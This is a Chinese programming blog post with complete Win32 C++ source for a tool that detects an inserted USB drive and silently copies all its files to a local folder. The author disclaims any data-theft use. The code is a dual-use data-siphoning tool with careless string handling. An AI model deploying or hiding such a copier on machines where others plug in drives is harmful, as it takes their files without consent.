U盘自动拷贝
描述:启动该程序后,自动检测U盘是否存在,若存在,将U盘中所有的文件拷贝到电脑的指定目录下。
注:本篇博文仅支持技术讨论,不用于数据的盗取之类的黑科技。
本程序基于Win32开发,主要是利用Win32的消息函数。也可是MFC等含有消息循环的体系。
思路:
1.WM_DEVICECHANGE,检查当前的设备状态。DBT_DEVICEARRIVAL ,插入设备响应。
2.lParam参数,附带U盘插入的盘符。如:G盘。获取该盘符
3.GetDriveType() == DRIVE_REMOVABLE。判断G盘是否是移动盘。
4.接下来就是,通过递归不断遍历文件夹、文件。若是文件则使用Copy函数进行拷贝。(可以每一个文件夹创建一条线程。)
如何获取U盘插入后所在的盘符?
假设U盘在我本机是G盘。
lpDb = (DEV_BROADCAST_HDR *)lParam;
lpDbv = (DEV_BROADCAST_VOLUME *)lpDb;
lParam附带U盘所在的盘符,解析后 lpDbv=64.
如下:
1 0 0 0 0 0 0-------64
G F E D C B A------盘符
1 0 0 0 0 0 0 0-------128
H G F E D C B A-----盘符
再通过位运算,64&1,判断1处在第几位,进而就可以得到U盘所在的盘符。如下:
char chDick; lpDb = (DEV_BROADCAST_HDR *)lParam; lpDbv = (DEV_BROADCAST_VOLUME *)lpDb chDick = SelDick(lpDbv->dbcv_unitmask);
//得到盘符
char SelDick(long lUnitMask)
{
char i;
for (i = 0;i<32; ++i)
{
if (lUnitMask & 1)
{
break;
}
lUnitMask=lUnitMask >> 1;
}
return 'A' + i;
}
stdafx.h所用的包含文件
#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的信息 // Windows 头文件: #include <windows.h> // C 运行时头文件 #include <stdlib.h> #include <malloc.h> #include <memory.h> #include <tchar.h>
WIN32程序的 xxxx.cpp源码
// UDick.cpp : 定义应用程序的入口点。
//
#include "stdafx.h"
#include "UDick.h"
#include <Windows.h>
#include <Dbt.h>
#include <stdio.h>
#define MAX_LOADSTRING 100
// 全局变量:
HINSTANCE hInst; // 当前实例
TCHAR szTitle[MAX_LOADSTRING]; // 标题栏文本
TCHAR szWindowClass[MAX_LOADSTRING]; // 主窗口类名
// 此代码模块中包含的函数的前向声明:
ATOM MyRegisterClass(HINSTANCE hInstance);
BOOL InitInstance(HINSTANCE, int);
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
INT_PTR CALLBACK About(HWND, UINT, WPARAM, LPARAM);
HANDLE StartPeek(char *szRootPath);
void StopPeek();
char SelDick(long lUnitMask);
void Copy(char *lpszSourcePath, char *lpszDestPath);
HANDLE g_hPeek = NULL;
TCHAR g_DestPath[MAX_PATH] = "D:\\Udick"; //拷贝到本机的路径
int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPTSTR lpCmdLine,
_In_ int nCmdShow)
{
UNREFERENCED_PARAMETER(hPrevInstance);
UNREFERENCED_PARAMETER(lpCmdLine);
// TODO: 在此放置代码。
MSG msg;
HACCEL hAccelTable;
// 初始化全局字符串
LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
LoadString(hInstance, IDC_UDICK, szWindowClass, MAX_LOADSTRING);
MyRegisterClass(hInstance);
// 执行应用程序初始化:
if (!InitInstance (hInstance, nCmdShow))
{
return FALSE;
}
hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_UDICK));
// 主消息循环:
while (GetMessage(&msg, NULL, 0, 0))
{
if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
return (int) msg.wParam;
}
//
// 函数: MyRegisterClass()
//
// 目的: 注册窗口类。
//
ATOM MyRegisterClass(HINSTANCE hInstance)
{
WNDCLASSEX wcex;
wcex.cbSize = sizeof(WNDCLASSEX);
wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = WndProc;
wcex.cbClsExtra = 0;
wcex.cbWndExtra = 0;
wcex.hInstance = hInstance;
wcex.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_UDICK));
wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wcex.lpszMenuName = MAKEINTRESOURCE(IDC_UDICK);
wcex.lpszClassName = szWindowClass;
wcex.hIconSm = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));
return RegisterClassEx(&wcex);
}
//
// 函数: InitInstance(HINSTANCE, int)
//
// 目的: 保存实例句柄并创建主窗口
//
// 注释:
//
// 在此函数中,我们在全局变量中保存实例句柄并
// 创建和显示主程序窗口。
//
HWND hWnd;
BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
hInst = hInstance; // 将实例句柄存储在全局变量中
hWnd = CreateWindow(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, NULL, NULL, hInstance, NULL);
if (!hWnd)
{
return FALSE;
}
ShowWindow(hWnd, nCmdShow);
UpdateWindow(hWnd);
return TRUE;
}
//
// 函数: WndProc(HWND, UINT, WPARAM, LPARAM)
//
// 目的: 处理主窗口的消息。
//
// WM_COMMAND - 处理应用程序菜单
// WM_PAINT - 绘制主窗口
// WM_DESTROY - 发送退出消息并返回
//
//
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
int wmId, wmEvent;
PAINTSTRUCT ps;
HDC hdc;
TCHAR *pszRootPath;
DEV_BROADCAST_HDR* lpDb;
DEV_BROADCAST_VOLUME *lpDbv;
switch (message)
{
case WM_COMMAND:
wmId = LOWORD(wParam);
wmEvent = HIWORD(wParam);
// 分析菜单选择:
switch (wmId)
{
case IDM_ABOUT:
DialogBox(hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hWnd, About);
break;
case IDM_EXIT:
DestroyWindow(hWnd);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
break;
case WM_PAINT:
hdc = BeginPaint(hWnd, &ps);
// TODO: 在此添加任意绘图代码...
EndPaint(hWnd, &ps);
break;
case WM_DESTROY:
MessageBox(hWnd, "321", "666", MB_OK);
PostQuitMessage(0);
break;
char chDick;
case WM_DEVICECHANGE:
switch (wParam)
{
//插入设备
case DBT_DEVICEARRIVAL:
{
lpDb = (DEV_BROADCAST_HDR *)lParam;
lpDbv = (DEV_BROADCAST_VOLUME *)lpDb;
chDick = SelDick(lpDbv->dbcv_unitmask);
pszRootPath = new TCHAR[MAX_PATH];
sprintf(pszRootPath, "%c:", chDick);
//判断磁盘的盘符
if (GetDriveType(pszRootPath) == DRIVE_REMOVABLE)
{
g_hPeek=StartPeek(pszRootPath);
}
MessageBox(hWnd, pszRootPath, "999", MB_OK);
}
break;
//移除设备
case DBT_DEVICEREMOVECOMPLETE:
MessageBox(hWnd, "321", "666", MB_OK);
break;
}
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}
// “关于”框的消息处理程序。
INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
{
UNREFERENCED_PARAMETER(lParam);
switch (message)
{
case WM_INITDIALOG:
return (INT_PTR)TRUE;
case WM_COMMAND:
if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
{
EndDialog(hDlg, LOWORD(wParam));
return (INT_PTR)TRUE;
}
break;
}
return (INT_PTR)FALSE;
}
;
//判断目录是否存在
bool IsDiretory(LPCTSTR lpszPath)
{
DWORD dwFile = GetFileAttributes(lpszPath);
if (dwFile == INVALID_FILE_ATTRIBUTES)
return false;
if (dwFile & FILE_ATTRIBUTE_DIRECTORY)
return true;
else
return false;
}
void Copy(char *lpszSourcePath, char *lpszDestPath)
{
if (!IsDiretory(lpszDestPath))
{
// 创建目录
//SECURITY_ATTRIBUTES sa;
bool b=CreateDirectory(lpszDestPath, NULL);
}
//查找所有文件
TCHAR szSourceFilePath[MAX_PATH];
strcpy(szSourceFilePath, lpszSourcePath);
strcat(szSourceFilePath, "\\*.*");
WIN32_FIND_DATA fileDate = { 0 };
HANDLE hFile = FindFirstFile(szSourceFilePath, &fileDate);
if (hFile == INVALID_HANDLE_VALUE)
{
return ;
}
while (1)
{
if (fileDate.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
if (fileDate.cFileName[0] != '.')
{
//U盘路径 F:\\ddd
TCHAR szSourcePath[MAX_PATH];
strcpy(szSourcePath, lpszSourcePath);
strcat(szSourcePath, "\\");
strcat(szSourcePath, fileDate.cFileName);
//存储路径
TCHAR szDestPath[MAX_PATH];
strcpy(szDestPath, lpszDestPath);
strcat(szDestPath, "\\");
strcat(szDestPath, fileDate.cFileName);
Copy(szSourcePath, szDestPath);
}
}
else
{
char szNewFileName[MAX_PATH];
char szOldFileName[MAX_PATH];
sprintf(szNewFileName, "%s\\%s", lpszDestPath, fileDate.cFileName);
sprintf(szOldFileName, "%s\\%s", lpszSourcePath, fileDate.cFileName);
CopyFile(szOldFileName, szNewFileName,FALSE);
}
if (!FindNextFile(hFile, &fileDate))
{
break;
SendMessage(hWnd, WM_DESTROY, NULL, NULL);
}
}
FindClose(hFile);
}
DWORD WINAPI ThreadProc(LPVOID lParam)
{
char *szRootPath = (char *)lParam;
Copy(szRootPath,g_DestPath);
StopPeek();
return 0;
};
//开始创建线程拷贝
HANDLE StartPeek(char *szRootPath)
{
StopPeek();
return CreateThread(NULL, 0, ThreadProc,szRootPath, 0, NULL);
}
//结束拷贝
void StopPeek()
{
if (g_hPeek != NULL)
{
CloseHandle(g_hPeek);
g_hPeek = NULL;
}
};
//得到盘符
char SelDick(long lUnitMask)
{
char i;
for (i = 0;i<32; ++i)
{
if (lUnitMask & 1)
{
break;
}
lUnitMask=lUnitMask >> 1;
}
return 'A' + i;
}

浙公网安备 33010602011771号